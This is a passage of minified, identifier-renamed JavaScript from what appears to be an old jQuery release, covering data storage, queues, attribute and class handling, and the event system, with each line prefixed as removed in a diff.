- if ((!n || !m[n] || !q && !e && !m[n].data) && k && d === v)
- return;
- n || (l ? b[j] = n = ++g.uuid: n = j),
- m[n] || (m[n] = {}, l || (m[n].toJSON = g.noop));
- if (typeof c == S || typeof c == O)
- e ? m[n] = g.extend(m[n], c) : m[n].data = g.extend(m[n].data, c);
- f = h = m[n],
- e || (h.data || (h.data = {}), h = h.data),
- d !== v && (h[g.camelCase(c)] = d);
- if (q && !h[c])
- return f.events;
- k ? (i = h[c], i == A0 && (i = h[g.camelCase(c)])) : i = h;
- return i
- }
- },
- removeData: function(b, c, d) {
- if ( !! g.acceptData(b)) {
- var e,
- f,
- h,
- i = g.expando,
- j = b.nodeType,
- k = j ? g.cache: b,
- l = j ? b[i] : i;
- if (!k[l])
- return;
- if (c) {
- e = d ? k[l] : k[l].data;
- if (e) {
- g.isArray(c) || (c in e ? c = [c] : (c = g.camelCase(c), c in e ? c = [c] : c = c.split(C)));
- for (f = 0, h = c.length; f < h; f++)
- delete e[c[f]];
- if (! (d ? O1: g.isEmptyObject)(e))
- return
- }
- }
- if (!d) {
- delete k[l].data;
- if (!O1(k[l]))
- return
- }
- g.support.deleteExpando || !k.setInterval ? delete k[l] : k[l] = A0,
- j && (g.support.deleteExpando ? delete b[i] : b.removeAttribute ? b.removeAttribute(i) : b[i] = A0)
- }
- },
- _data: function(b, c, d) {
- return g.data(b, c, d, !0)
- },
- acceptData: function(b) {
- if (b.nodeName) {
- var c = g.noData[b.nodeName.toLowerCase()];
- if (c)
- return c !== !0 && b.getAttribute("classid") === c
- }
- return ! 0
- }
- }),
- g.fn.extend({
- data: function(d, e) {
- var f = "parsedAttrs",
- h,
- i,
- j,
- k,
- l,
- m = this[0],
- n = 0,
- q = A0;
- if (d === v) {
- if (this.length) {
- q = g.data(m);
- if (m.nodeType === 1 && !g._data(m, f)) {
- j = m.attributes;
- for (l = j.length; n < l; n++)
- k = j[n].name,
- k.indexOf("data-") === 0 && (k = g.camelCase(k.substring(5)), p2(m, k, q[k]));
- g._data(m, f, !0)
- }
- }
- return q
- }
- if (typeof d == S)
- return this.each(function() {
- g.data(this, d)
- });
- h = d.split(N, 2),
- h[1] = h[1] ? N + h[1] : "",
- i = h[1] + "!";
- return g.access(this, function(c) {
- if (c === v) {
- q = this.triggerHandler("getData" + i, [h[0]]),
- q === v && m && (q = g.data(m, d), q = p2(m, d, q));
- return q === v && h[1] ? this.data(h[0]) : q
- }
- h[1] = c,
- this.each(function() {
- var b = g(this);
- b.triggerHandler("setData" + i, h),
- g.data(this, d, c),
- b.triggerHandler("changeData" + i, h)
- })
- }, A0, e, arguments.length > 1, A0, !1)
- },
- removeData: function(b) {
- return this.each(function() {
- g.removeData(this, b)
- })
- }
- }),
- g.extend({
- _mark: function(b, c) {
- b && (c = (c || H) + J0, g._data(b, c, (g._data(b, c) || 0) + 1))
- },
- _unmark: function(b, c, d) {
- b !== !0 && (d = c, c = b, b = !1);
- if (c) {
- d = d || H;
- var e = d + J0,
- f = b ? 0: (g._data(c, e) || 1) - 1;
- f ? g._data(c, e, f) : (g.removeData(c, e, !0), o2(c, d, J0))
- }
- },
- queue: function(b, c, d) {
- var e;
- if (b) {
- c = (c || H) + R0,
- e = g._data(b, c),
- d && (!e || g.isArray(d) ? e = g._data(b, c, g.makeArray(d)) : e.push(d));
- return e || []
- }
- },
- dequeue: function(b, c) {
- c = c || H;
- var d = g.queue(b, c),
- e = d.shift(),
- f = {};
- e === V0 && (e = d.shift()),
- e && (c === H && d.unshift(V0), g._data(b, c + F0, f), e.call(b, function() {
- g.dequeue(b, c)
- }, f)),
- d.length || (g.removeData(b, c + "queue " + c + F0, !0), o2(b, c, R0))
- }
- }),
- g.fn.extend({
- queue: function(c, d) {
- var e = 2;
- typeof c != E && (d = c, c = H, e--);
- if (arguments.length < e)
- return g.queue(this[0], c);
- return d === v ? this: this.each(function() {
- var b = g.queue(this, c, d);
- c === H && b[0] !== V0 && g.dequeue(this, c)
- })
- },
- dequeue: function(b) {
- return this.each(function() {
- g.dequeue(this, b)
- })
- },
- delay: function(e, f) {
- e = g.fx ? g.fx.speeds[e] || e: e,
- f = f || H;
- return this.queue(f, function(b, c) {
- var d = setTimeout(b, e);
- c.stop = function() {
- clearTimeout(d)
- }
- })
- },
- clearQueue: function(b) {
- return this.queue(b || H, [])
- },
- promise: function(b, c) {
- function d() {--i || e.resolveWith(f, [f])
- }
- typeof b != E && (c = b, b = v),
- b = b || H;
- var e = g.Deferred(),
- f = this,
- h = f.length,
- i = 1,
- j = b + "defer",
- k = b + R0,
- l = b + J0,
- m;
- while (h--)
- if (m = g.data(f[h], j, v, !0) || (g.data(f[h], k, v, !0) || g.data(f[h], l, v, !0)) && g.data(f[h], j, g.Callbacks(W0), !0))
- i++,
- m.add(d);
- d();
- return e.promise(c)
- }
- });
- var m2 = /[\n\t\r]/g,
- H1 = /\s+/,
- e3 = /\r/g,
- d3 = /^(?:button|input)$/i,
- c3 = /^(?:button|input|object|select|textarea)$/i,
- f3 = /^a(?:rea)?$/i,
- v2 = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
- u2 = g.support.getSetAttribute,
- L0,
- s2,
- r2;
- g.fn.extend({
- attr: function(b, c) {
- return g.access(this, g.attr, b, c, arguments.length > 1)
- },
- removeAttr: function(b) {
- return this.each(function() {
- g.removeAttr(this, b)
- })
- },
- prop: function(b, c) {
- return g.access(this, g.prop, b, c, arguments.length > 1)
- },
- removeProp: function(c) {
- c = g.propFix[c] || c;
- return this.each(function() {
- try {
- this[c] = v,
- delete this[c]
- } catch(b) {}
- })
- },
- addClass: function(c) {
- var d,
- e,
- f,
- h,
- i,
- j,
- k;
- if (g.isFunction(c))
- return this.each(function(b) {
- g(this).addClass(c.call(this, b, this.className))
- });
- if (c && typeof c == E) {
- d = c.split(H1);
- for (e = 0, f = this.length; e < f; e++) {
- h = this[e];
- if (h.nodeType === 1)
- if (!h.className && d.length === 1)
- h.className = c;
- else {
- i = C + h.className + C;
- for (j = 0, k = d.length; j < k; j++)~i.indexOf(C + d[j] + C) || (i += d[j] + C);
- h.className = g.trim(i)
- }
- }
- }
- return this
- },
- removeClass: function(c) {
- var d,
- e,
- f,
- h,
- i,
- j,
- k;
- if (g.isFunction(c))
- return this.each(function(b) {
- g(this).removeClass(c.call(this, b, this.className))
- });
- if (c && typeof c == E || c === v) {
- d = (c || "").split(H1);
- for (e = 0, f = this.length; e < f; e++) {
- h = this[e];
- if (h.nodeType === 1 && h.className)
- if (c) {
- i = (C + h.className + C).replace(m2, C);
- for (j = 0, k = d.length; j < k; j++)
- i = i.replace(C + d[j] + C, C);
- h.className = g.trim(i)
- } else
- h.className = ""
- }
- }
- return this
- },
- toggleClass: function(i, j) {
- var k = typeof i,
- l = typeof j == h0;
- if (g.isFunction(i))
- return this.each(function(b) {
- g(this).toggleClass(i.call(this, b, this.className, j), j)
- });
- return this.each(function() {
- var b = "__className__";
- if (k === E) {
- var c,
- d = 0,
- e = g(this),
- f = j,
- h = i.split(H1);
- while (c = h[d++])
- f = l ? f: !e.hasClass(c),
- e[f ? "addClass": "removeClass"](c)
- } else if (k === d0 || k === h0)
- this.className && g._data(this, b, this.className),
- this.className = this.className || i === !1 ? "": g._data(this, b) || ""
- })
- },
- hasClass: function(b) {
- var c = C + b + C,
- d = 0,
- e = this.length;
- for (; d < e; d++)
- if (this[d].nodeType === 1 && (C + this[d].className + C).replace(m2, C).indexOf(c) > -1)
- return ! 0;
- return ! 1
- },
- val: function(f) {
- var h,
- i,
- j,
- k = this[0]; {
- if ( !! arguments.length) {
- j = g.isFunction(f);
- return this.each(function(c) {
- var d = g(this),
- e;
- if (this.nodeType === 1) {
- j ? e = f.call(this, c, d.val()) : e = f,
- e == A0 ? e = "": typeof e == p1 ? e += "": g.isArray(e) && (e = g.map(e, function(b) {
- return b == A0 ? "": b + ""
- })),
- h = g.valHooks[this.type] || g.valHooks[this.nodeName.toLowerCase()];
- if (!h || !("set" in h) || h.set(this, e, g0) === v)
- this.value = e
- }
- })
- }
- if (k) {
- h = g.valHooks[k.type] || g.valHooks[k.nodeName.toLowerCase()];
- if (h && n0 in h && (i = h.get(k, g0)) !== v)
- return i;
- i = k.value;
- return typeof i == E ? i.replace(e3, "") : i == A0 ? "": i
- }
- }
- }
- }),
- g.extend({
- valHooks: {
- option: {
- get: function(b) {
- var c = b.attributes.value;
- return ! c || c.specified ? b.value: b.text
- }
- },
- select: {
- get: function(b) {
- var c,
- d,
- e,
- f,
- h = b.selectedIndex,
- i = [],
- j = b.options,
- k = b.type === "select-one";
- if (h < 0)
- return A0;
- d = k ? h: 0,
- e = k ? h + 1: j.length;
- for (; d < e; d++) {
- f = j[d];
- if (f.selected && (g.support.optDisabled ? !f.disabled: f.getAttribute("disabled") === A0) && (!f.parentNode.disabled || !g.nodeName(f.parentNode, "optgroup"))) {
- c = g(f).val();
- if (k)
- return c;
- i.push(c)
- }
- }
- if (k && !i.length && j.length)
- return g(j[h]).val();
- return i
- },
- set: function(b, c) {
- var d = g.makeArray(c);
- g(b).find(l1).each(function() {
- this.selected = g.inArray(g(this).val(), d) >= 0
- }),
- d.length || (b.selectedIndex = -1);
- return d
- }
- }
- },
- attrFn: {
- val: !0,
- css: !0,
- html: !0,
- text: !0,
- data: !0,
- width: !0,
- height: !0,
- offset: !0
- },
- attr: function(b, c, d, e) {
- var f,
- h,
- i,
- j = b.nodeType;
- if ( !! b && j !== 3 && j !== 8 && j !== 2) {
- if (e && c in g.attrFn)
- return g(b)[c](d);
- if (typeof b.getAttribute == d0)
- return g.prop(b, c, d);
- i = j !== 1 || !g.isXMLDoc(b),
- i && (c = c.toLowerCase(), h = g.attrHooks[c] || (v2.test(c) ? s2: L0));
- if (d !== v) {
- if (d === A0) {
- g.removeAttr(b, c);
- return
- }
- if (h && "set" in h && i && (f = h.set(b, d, c)) !== v)
- return f;
- b.setAttribute(c, "" + d);
- return d
- }
- if (h && n0 in h && i && (f = h.get(b, c)) !== A0)
- return f;
- f = b.getAttribute(c);
- return f === A0 ? v: f
- }
- },
- removeAttr: function(b, c) {
- var d,
- e,
- f,
- h,
- i,
- j = 0;
- if (c && b.nodeType === 1) {
- e = c.toLowerCase().split(H1),
- h = e.length;
- for (; j < h; j++)
- f = e[j],
- f && (d = g.propFix[f] || f, i = v2.test(f), i || g.attr(b, f, ""), b.removeAttribute(u2 ? f: d), i && d in b && (b[d] = !1))
- }
- },
- attrHooks: {
- type: {
- set: function(b, c) {
- if (d3.test(b.nodeName) && b.parentNode)
- g.error("type property can't be changed");
- else if (!g.support.radioValue && c === X && g.nodeName(b, U)) {
- var d = b.value;
- b.setAttribute(A1, c),
- d && (b.value = d);
- return c
- }
- }
- },
- value: {
- get: function(b, c) {
- if (L0 && g.nodeName(b, E0))
- return L0.get(b, c);
- return c in b ? b.value: A0
- },
- set: function(b, c, d) {
- if (L0 && g.nodeName(b, E0))
- return L0.set(b, c, d);
- b.value = c
- }
- }
- },
- propFix: {
- tabindex: "tabIndex",
- readonly: "readOnly",
- "for": "htmlFor",
- "class": i0,
- maxlength: "maxLength",
- cellspacing: "cellSpacing",
- cellpadding: "cellPadding",
- rowspan: "rowSpan",
- colspan: "colSpan",
- usemap: "useMap",
- frameborder: "frameBorder",
- contenteditable: "contentEditable"
- },
- prop: function(b, c, d) {
- var e,
- f,
- h,
- i = b.nodeType;
- if ( !! b && i !== 3 && i !== 8 && i !== 2) {
- h = i !== 1 || !g.isXMLDoc(b),
- h && (c = g.propFix[c] || c, f = g.propHooks[c]);
- return d !== v ? f && "set" in f && (e = f.set(b, d, c)) !== v ? e: b[c] = d: f && n0 in f && (e = f.get(b, c)) !== A0 ? e: b[c]
- }
- },
- propHooks: {
- tabIndex: {
- get: function(b) {
- var c = b.getAttributeNode("tabindex");
- return c && c.specified ? parseInt(c.value, 10) : c3.test(b.nodeName) || f3.test(b.nodeName) && b.href ? 0: v
- }
- }
- }
- }),
- g.attrHooks.tabindex = g.propHooks.tabIndex,
- s2 = {
- get: function(b, c) {
- var d,
- e = g.prop(b, c);
- return e === !0 || typeof e != h0 && (d = b.getAttributeNode(c)) && d.nodeValue !== !1 ? c.toLowerCase() : v
- },
- set: function(b, c, d) {
- var e;
- c === !1 ? g.removeAttr(b, d) : (e = g.propFix[d] || d, e in b && (b[e] = !0), b.setAttribute(d, d.toLowerCase()));
- return d
- }
- },
- u2 || (r2 = {
- name: !0,
- id: !0,
- coords: !0
- }, L0 = g.valHooks.button = {
- get: function(b, c) {
- var d;
- d = b.getAttributeNode(c);
- return d && (r2[c] ? d.nodeValue !== "": d.specified) ? d.nodeValue: v
- },
- set: function(b, c, d) {
- var e = b.getAttributeNode(d);
- e || (e = x.createAttribute(d), b.setAttributeNode(e));
- return e.nodeValue = c + ""
- }
- }, g.attrHooks.tabindex.set = L0.set, g.each([k0, u0], function(d, e) {
- g.attrHooks[e] = g.extend(g.attrHooks[e], {
- set: function(b, c) {
- if (c === "") {
- b.setAttribute(e, j1);
- return c
- }
- }
- })
- }), g.attrHooks.contenteditable = {
- get: L0.get,
- set: function(b, c, d) {
- c === "" && (c = b0),
- L0.set(b, c, d)
- }
- }),
- g.support.hrefNormalized || g.each([Q0, "src", k0, u0], function(d, e) {
- g.attrHooks[e] = g.extend(g.attrHooks[e], {
- get: function(b) {
- var c = b.getAttribute(e, 2);
- return c === A0 ? v: c
- }
- })
- }),
- g.support.style || (g.attrHooks.style = {
- get: function(b) {
- return b.style.cssText.toLowerCase() || v
- },
- set: function(b, c) {
- return b.style.cssText = "" + c
- }
- }),
- g.support.optSelected || (g.propHooks.selected = g.extend(g.propHooks.selected, {
- get: function(b) {
- var c = b.parentNode;
- c && (c.selectedIndex, c.parentNode && c.parentNode.selectedIndex);
- return A0
- }
- })),
- g.support.enctype || (g.propFix.enctype = "encoding"),
- g.support.checkOn || g.each([X, I0], function() {
- g.valHooks[this] = {
- get: function(b) {
- return b.getAttribute(g0) === A0 ? G0: b.value
- }
- }
- }),
- g.each([X, I0], function() {
- g.valHooks[this] = g.extend(g.valHooks[this], {
- set: function(b, c) {
- if (g.isArray(c))
- return b.checked = g.inArray(g(b).val(), c) >= 0
- }
- })
- });
- var P1 = /^(?:textarea|input|select)$/i,
- q2 = /^([^\.]*)?(?:\.(.+))?$/,
- b3 = /(?:^|\s)hover(\.\S+)?\b/,
- a3 = /^key/,
- Z2 = /^(?:mouse|contextmenu)|click/,
- t2 = /^(?:focusinfocus|focusoutblur)$/,
- k3 = /^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,
- l3 = function(b) {
- var c = k3.exec(b);
- c && (c[1] = (c[1] || "").toLowerCase(), c[3] = c[3] && new RegExp("(?:^|\\s)" + c[3] + "(?:\\s|$)"));
- return c
- },
- j3 = function(b, c) {
- var d = b.attributes || {};
- return (!c[1] || b.nodeName.toLowerCase() === c[1]) && (!c[2] || (d.id || {}).value === c[2]) && (!c[3] || c[3].test((d["class"] || {}).value))
- },
- A2 = function(b) {
- return g.event.special.hover ? b: b.replace(b3, "mouseenter$1 mouseleave$1")
- };
- g.event = {
- add: function(c, d, e, f, h) {
- var i,
- j,
- k,
- l,
- m,
- n,
- q,
- t,
- r,
- o,
- w,
- p;
- if (! (c.nodeType === 3 || c.nodeType === 8 || !d || !e || !(i = g._data(c)))) {
- e.handler && (r = e, e = r.handler, h = r.selector),
- e.guid || (e.guid = g.guid++),
- k = i.events,
- k || (i.events = k = {}),
- j = i.handle,
- j || (i.handle = j = function(b) {
- return typeof g != d0 && (!b || g.event.triggered !== b.type) ? g.event.dispatch.apply(j.elem, arguments) : v
- }, j.elem = c),
- d = g.trim(A2(d)).split(C);
- for (l = 0; l < d.length; l++) {
- m = q2.exec(d[l]) || [],
- n = m[1],
- q = (m[2] || "").split(N).sort(),
- p = g.event.special[n] || {},
- n = (h ? p.delegateType: p.bindType) || n,
- p = g.event.special[n] || {},
- t = g.extend({
- type: n,
- origType: m[1],
- data: f,
- handler: e,
- guid: e.guid,
- selector: h,
- quick: h && l3(h),
- namespace: q.join(N)
- }, r),
- w = k[n];
- if (!w) {
- w = k[n] = [],
- w.delegateCount = 0;
- if (!p.setup || p.setup.call(c, f, q, j) === !1)
- c.addEventListener ? c.addEventListener(n, j, !1) : c.attachEvent && c.attachEvent(G0 + n, j)
- }
- p.add && (p.add.call(c, t), t.handler.guid || (t.handler.guid = e.guid)),
- h ? w.splice(w.delegateCount++, 0, t) : w.push(t),
- g.event.global[n] = !0
- }
- c = A0
- }
- },
- global: {},
- remove: function(b, c, d, e, f) {
- var h = g.hasData(b) && g._data(b),
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t,
- r,
- o,
- w,
- p;
- if ( !! h && !!(t = h.events)) {
- c = g.trim(A2(c || "")).split(C);
- for (i = 0; i < c.length; i++) {
- j = q2.exec(c[i]) || [],
- k = l = j[1],
- m = j[2];
- if (!k) {
- for (k in t)
- g.event.remove(b, k + c[i], d, e, !0);
- continue
- }
- r = g.event.special[k] || {},
- k = (e ? r.delegateType: r.bindType) || k,
- w = t[k] || [],
- n = w.length,
- m = m ? new RegExp("(^|\\.)" + m.split(N).sort().join(w1) + "(\\.|$)") : A0;
- for (q = 0; q < w.length; q++)
- p = w[q],
- (f || l === p.origType) && (!d || d.guid === p.guid) && (!m || m.test(p.namespace)) && (!e || e === p.selector || e === "**" && p.selector) && (w.splice(q--, 1), p.selector && w.delegateCount--, r.remove && r.remove.call(b, p));
- w.length === 0 && n !== w.length && ((!r.teardown || r.teardown.call(b, m) === !1) && g.removeEvent(b, k, h.handle), delete t[k])
- }
- g.isEmptyObject(t) && (o = h.handle, o && (o.elem = A0), g.removeData(b, [O0, "handle"], !0))
- }
- },
- customEvent: {
- getData: !0,
- setData: !0,
- changeData: !0
- },
- trigger: function(b, c, d, e) {
- if (!d || d.nodeType !== 3 && d.nodeType !== 8) {
- var f = b.type || b,
- h = [],
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t,
- r,
- o;
- if (t2.test(f + g.event.triggered))
- return;
- f.indexOf("!") >= 0 && (f = f.slice(0, -1), j = !0),
- f.indexOf(N) >= 0 && (h = f.split(N), f = h.shift(), h.sort());
- if ((!d || g.event.customEvent[f]) && !g.event.global[f])
- return;
- b = typeof b == S ? b[g.expando] ? b: new g.Event(f, b) : new g.Event(f),
- b.type = f,
- b.isTrigger = !0,
- b.exclusive = j,
- b.namespace = h.join(N),
- b.namespace_re = b.namespace ? new RegExp("(^|\\.)" + h.join(w1) + "(\\.|$)") : A0,
- n = f.indexOf(":") < 0 ? G0 + f: "";
- if (!d) {
- i = g.cache;
- for (k in i)
- i[k].events && i[k].events[f] && g.event.trigger(b, c, i[k].handle.elem, !0);
- return
- }
- b.result = v,
- b.target || (b.target = d),
- c = c != A0 ? g.makeArray(c) : [],
- c.unshift(b),
- q = g.event.special[f] || {};
- if (q.trigger && q.trigger.apply(d, c) === !1)
- return;
- r = [[d, q.bindType || f]];
- if (!e && !q.noBubble && !g.isWindow(d)) {
- o = q.delegateType || f,
- l = t2.test(o + f) ? d: d.parentNode,
- m = A0;
- for (; l; l = l.parentNode)
- r.push([l, o]),
- m = l;
- m && m === d.ownerDocument && r.push([m.defaultView || m.parentWindow || F, o])
- }
- for (k = 0; k < r.length && !b.isPropagationStopped(); k++)
- l = r[k][0],
- b.type = r[k][1],
- t = (g._data(l, O0) || {})[b.type] && g._data(l, "handle"),
- t && t.apply(l, c),
- t = n && l[n],
- t && g.acceptData(l) && t.apply(l, c) === !1 && b.preventDefault();
- b.type = f,
- !e && !b.isDefaultPrevented() && (!q._default || q._default.apply(d.ownerDocument, c) === !1) && (f !== "click" || !g.nodeName(d, "a")) && g.acceptData(d) && n && d[f] && (f !== "focus" && f !== "blur" || b.target.offsetWidth !== 0) && !g.isWindow(d) && (m = d[n], m && (d[n] = A0), g.event.triggered = f, d[f](), g.event.triggered = v, m && (d[n] = m));
- return b.result
- }
- },
- dispatch: function(b) {
- b = g.event.fix(b || F.event);
- var c = (g._data(this, O0) || {})[b.type] || [],
- d = c.delegateCount,
- e = [].slice.call(arguments, 0),
- f = !b.exclusive && !b.namespace,
- h = g.event.special[b.type] || {},
- i = [],
- j,
- k,
- l,
- m,
- n,
- q,
- t,
- r,
- o,
- w,
- p;
- e[0] = b,
- b.delegateTarget = this;
- if (!h.preDispatch || h.preDispatch.call(this, b) !== !1) {
- if (d && (!b.button || b.type !== "click")) {
- m = g(this),
- m.context = this.ownerDocument || this;
- for (l = b.target; l != this; l = l.parentNode || this)
- if (l.disabled !== !0) {
- q = {},
- r = [],
- m[0] = l;
- for (j = 0; j < d; j++)
- o = c[j],
- w = o.selector,
- q[w] === v && (q[w] = o.quick ? j3(l, o.quick) : m.is(w)),
- q[w] && r.push(o);
- r.length && i.push({
- elem: l,
- matches: r
- })
- }
- }
- c.length > d && i.push({
- elem: this,
- matches: c.slice(d)
- });
- for (j = 0; j < i.length && !b.isPropagationStopped(); j++) {
- t = i[j],
- b.currentTarget = t.elem;
- for (k = 0; k < t.matches.length && !b.isImmediatePropagationStopped(); k++) {
- o = t.matches[k];
- if (f || !b.namespace && !o.namespace || b.namespace_re && b.namespace_re.test(o.namespace))
- b.data = o.data,
- b.handleObj = o,
- n = ((g.event.special[o.origType] || {}).handle || o.handler).apply(t.elem, e),
- n !== v && (b.result = n, n === !1 && (b.preventDefault(), b.stopPropagation()))
- }
- }
- h.postDispatch && h.postDispatch.call(this, b);
- return b.result
- }
- },
- props: "attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(C),
- fixHooks: {},
- keyHooks: {
- props: "char charCode key keyCode".split(C),
- filter: function(b, c) {
- b.which == A0 && (b.which = c.charCode != A0 ? c.charCode: c.keyCode);
- return b
- }
- },
- mouseHooks: {
- props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(C),
- filter: function(b, c) {
- var d,
- e,
- f,
- h = c.button,
- i = c.fromElement;
- b.pageX == A0 && c.clientX != A0 && (d = b.target.ownerDocument || x, e = d.documentElement, f = d.body, b.pageX = c.clientX + (e && e.scrollLeft || f && f.scrollLeft || 0) - (e && e.clientLeft || f && f.clientLeft || 0), b.pageY = c.clientY + (e && e.scrollTop || f && f.scrollTop || 0) - (e && e.clientTop || f && f.clientTop || 0)),
- !b.relatedTarget && i && (b.relatedTarget = i === b.target ? c.toElement: i),
- !b.which && h !== v && (b.which = h & 1 ? 1: h & 2 ? 3: h & 4 ? 2: 0);
- return b
- }
- },
- fix: function(b) {
- if (b[g.expando])
- return b;
- var c,
- d,
- e = b,
- f = g.event.fixHooks[b.type] || {},
- h = f.props ? this.props.concat(f.props) : this.props;
- b = g.Event(e);
- for (c = h.length; c;)
- d = h[--c],
- b[d] = e[d];
- b.target || (b.target = e.srcElement || x),
- b.target.nodeType === 3 && (b.target = b.target.parentNode),
- b.metaKey === v && (b.metaKey = b.ctrlKey);
- return f.filter ? f.filter(b, e) : b
- },
- special: {
- ready: {
- setup: g.bindReady
- },
- load: {
- noBubble: !0
- },
- focus: {
- delegateType: "focusin"
- },
- blur: {
- delegateType: "focusout"
- },
- beforeunload: {
- setup: function(b, c, d) {
- g.isWindow(this) && (this.onbeforeunload = d)
- },
- teardown: function(b, c) {
- this.onbeforeunload === c && (this.onbeforeunload = A0)
- }
- }
- },
- simulate: function(b, c, d, e) {
- var f = g.extend(new g.Event, d, {
- type: b,
- isSimulated: !0,
- originalEvent: {}
- });
- e ? g.event.trigger(f, A0, c) : g.event.dispatch.call(c, f),
- f.isDefaultPrevented() && d.preventDefault()
- }
- },
- g.event.handle = g.event.dispatch,
- g.removeEvent = x.removeEventListener ? function(b, c, d) {
- b.removeEventListener && b.removeEventListener(c, d, !1)
- }: function(b, c, d) {
- b.detachEvent && b.detachEvent(G0 + c, d)
- },
- g.Event = function(b, c) {
- if (! (this instanceof g.Event))
- return new g.Event(b, c);
- b && b.type ? (this.originalEvent = b, this.type = b.type, this.isDefaultPrevented = b.defaultPrevented || b.returnValue === !1 || b.getPreventDefault && b.getPreventDefault() ? G1: q1) : this.type = b,
- c && g.extend(this, c),
- this.timeStamp = b && b.timeStamp || g.now(),
- this[g.expando] = !0
- },
- g.Event.prototype = {
- preventDefault: function() {
- this.isDefaultPrevented = G1;
- var b = this.originalEvent; ! b || (b.preventDefault ? b.preventDefault() : b.returnValue = !1)
- },
- stopPropagation: function() {
- this.isPropagationStopped = G1;
- var b = this.originalEvent; ! b || (b.stopPropagation && b.stopPropagation(), b.cancelBubble = !0)
- },
- stopImmediatePropagation: function() {
- this.isImmediatePropagationStopped = G1,
- this.stopPropagation()
- },
- isDefaultPrevented: q1,
- isPropagationStopped: q1,
- isImmediatePropagationStopped: q1
- },
- g.each({
- mouseenter: "mouseover",
- mouseleave: "mouseout"
- }, function(i, j) {
- g.event.special[i] = {
- delegateType: j,
- bindType: j,
- handle: function(b) {
- var c = this,
- d = b.relatedTarget,
- e = b.handleObj,
- f = e.selector,
- h;
- if (!d || d !== c && !g.contains(c, d))
- b.type = e.origType,
- h = e.handler.apply(this, arguments),
- b.type = j;
- return h
- }
- }
- }),
- g.support.submitBubbles || (g.event.special.submit = {
- setup: function() {
- if (g.nodeName(this, "form"))
- return ! 1;
- g.event.add(this, "click._submit keypress._submit", function(c) {
- var d = c.target,
- e = g.nodeName(d, U) || g.nodeName(d, E0) ? d.form: v;
- e && !e._submit_attached && (g.event.add(e, "submit._submit", function(b) {
- b._submit_bubble = !0
- }), e._submit_attached = !0)
- })
- },
- postDispatch: function(b) {
- b._submit_bubble && (delete b._submit_bubble, this.parentNode && !b.isTrigger && g.event.simulate("submit", this.parentNode, b, !0))
- },
- teardown: function() {
- if (g.nodeName(this, "form"))
- return ! 1;
- g.event.remove(this, "._submit")
- }
- }),
- g.support.changeBubbles || (g.event.special.change = {
- setup: function() {
- if (P1.test(this.nodeName)) {
- if (this.type === I0 || this.type === X)
- g.event.add(this, "propertychange._change", function(b) {
- b.originalEvent.propertyName === z1 && (this._just_changed = !0)
- }),
- g.event.add(this, "click._change", function(b) {
- this._just_changed && !b.isTrigger && (this._just_changed = !1, g.event.simulate("change", this, b, !0))
- });
- return ! 1
- }
- g.event.add(this, "beforeactivate._change", function(c) {
- var d = c.target;
- P1.test(d.nodeName) && !d._change_attached && (g.event.add(d, "change._change", function(b) {
- this.parentNode && !b.isSimulated && !b.isTrigger && g.event.simulate("change", this.parentNode, b, !0)
- }), d._change_attached = !0)
- })
- },
- handle: function(b) {
- var c = b.target;
- if (this !== c || b.isSimulated || b.isTrigger || c.type !== X && c.type !== I0)
- return b.handleObj.handler.apply(this, arguments)
- },
- teardown: function() {
- g.event.remove(this, "._change");
- return P1.test(this.nodeName)
- }
- }),
- g.support.focusinBubbles || g.each({
- focus: "focusin",
- blur: "focusout"
- }, function(c, d) {
- var e = 0,
- f = function(b) {
- g.event.simulate(d, b.target, g.event.fix(b), !0)
- };
- g.event.special[d] = {
- setup: function() {
- e++===0 && x.addEventListener(c, f, !0)
- },
- teardown: function() {--e === 0 && x.removeEventListener(c, f, !0)
- }
- }
- }),
- g.fn.extend({
- on: function(c, d, e, f, h) {
- var i,
- j;
- if (typeof c == S) {
- typeof d != E && (e = e || d, d = v);
- for (j in c)
- this.on(j, d, e, c[j], h);
- return this
- }
- e == A0 && f == A0 ? (f = d, e = d = v) : f == A0 && (typeof d == E ? (f = e, e = v) : (f = e, e = d, d = v));
- if (f === !1)
- f = q1;
- else if (!f)
- return this;
- h === 1 && (i = f, f = function(b) {
- g().off(b);
- return i.apply(this, arguments)
- }, f.guid = i.guid || (i.guid = g.guid++));
- return this.each(function() {
- g.event.add(this, c, f, e, d)
- })
- },
- one: function(b, c, d, e) {
- return this.on(b, c, d, e, 1)
- },
- off: function(b, c, d) {
- if (b && b.preventDefault && b.handleObj) {
- var e = b.handleObj;
- g(b.delegateTarget).off(e.namespace ? e.origType + N + e.namespace: e.origType, e.selector, e.handler);
- return this
- }
- if (typeof b == S) {
- for (var f in b)
- this.off(f, c, b[f]);
- return this
- }
- if (c === !1 || typeof c == O)
- d = c,
- c = v;
- d === !1 && (d = q1);
- return this.each(function() {
- g.event.remove(this, b, d, c)
- })
- },
- bind: function(b, c, d) {
- return this.on(b, A0, c, d)
- },
- unbind: function(b, c) {
- return this.off(b, A0, c)
- },
- live: function(b, c, d) {
- g(this.context).on(b, this.selector, c, d);
- return this
- },
- die: function(b, c) {
- g(this.context).off(b, this.selector || "**", c);
- return this
- },
- delegate: function(b, c, d, e) {
- return this.on(c, b, d, e)
- },
- undelegate: function(b, c, d) {
- return arguments.length == 1 ? this.off(b, "**") : this.off(c, b, d)
- },
- trigger: function(b, c) {
- return this.each(function() {
- g.event.trigger(b, c, this)
- })
- },
- triggerHandler: function(b, c) {
- if (this[0])
- return g.event.trigger(b, c, this[0], !0)
- },
- toggle: function(e) {
- var f = arguments,
- h = e.guid || g.guid++,
- i = 0,
- j = function(b) {
- var c = "lastToggle",
- d = (g._data(this, c + e.guid) || 0) % i;
- g._data(this, c + e.guid, d + 1),
- b.preventDefault();
- return f[d].apply(this, arguments) || !1
- };
- j.guid = h;
- while (i < f.length)
- f[i++].guid = h;
- return this.click(j)
- },
- hover: function(b, c) {
- return this.mouseenter(b).mouseleave(c || b)
- }
- }),
- g.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(C), function(d, e) {
- g.fn[e] = function(b, c) {
- c == A0 && (c = b, b = A0);
